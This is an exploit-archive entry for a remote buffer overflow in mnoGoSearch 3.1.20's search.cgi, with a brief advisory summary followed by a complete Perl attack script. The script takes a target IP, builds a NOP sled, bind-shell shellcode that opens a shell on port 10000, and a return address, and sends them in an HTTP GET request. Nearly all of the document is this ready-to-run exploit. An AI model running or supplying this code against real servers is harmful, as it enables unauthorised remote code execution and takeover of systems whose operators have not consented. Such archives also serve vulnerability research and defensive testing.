MNOGoSearch 3.1.20 - search.cgi?UL Remote Buffer Overflow (2)

source: https://www.securityfocus.com/bid/7865/info
 
mnoGoSearch 'search.cgi' has been reported prone to a buffer overflow vulnerability.
 
The issue is a result of a lack of sufficient bounds checking performed on user-supplied URI parameters that are passed to the 'search.cgi' application.
 
It may be possible for an attacker to exploit this vulnerability and have arbitrary code executed in the context of the web-server process.

# shellcode binds shell to port 10000

use IO::Socket;

unless (@ARGV > 0) { die "Usage ./DSR-mnogo IP"}

$host = shift(@ARGV);
$ret = pack("l",0xbfbff670);
$nop = "\x90"x5402;

$shellcode = 
"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x52\x66\x68\x27\x10\x66\x51\x89\xe6\xb1\x10\x51\x56\x50\x50\xb0\x68\xcd\x80\x51\x53\x53\xb0\x6a\xcd\x80\x52\x52\x53\x53\xb0\x1e\xcd\x80\xb1\x03\x89\xc3\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80";


$exploit_string = $nop.$shellcode.$ret.$ret;


print "\nRemote Mnogo Exploit \n";
print "Code by inv \n\n";
print "Host: $host\n";

$remote = IO::Socket::INET->new(

	Proto	 	=>	"tcp",
	PeerAddr	=>	$host,
	PeerPort	=>	"http(80)",
	);

$remote->autoflush(1);

print $remote "GET /cgi-bin/search.cgi?ul=$exploit_string HTTP/1.0\n\n";

while ( <$remote> ) { print }

close $remote;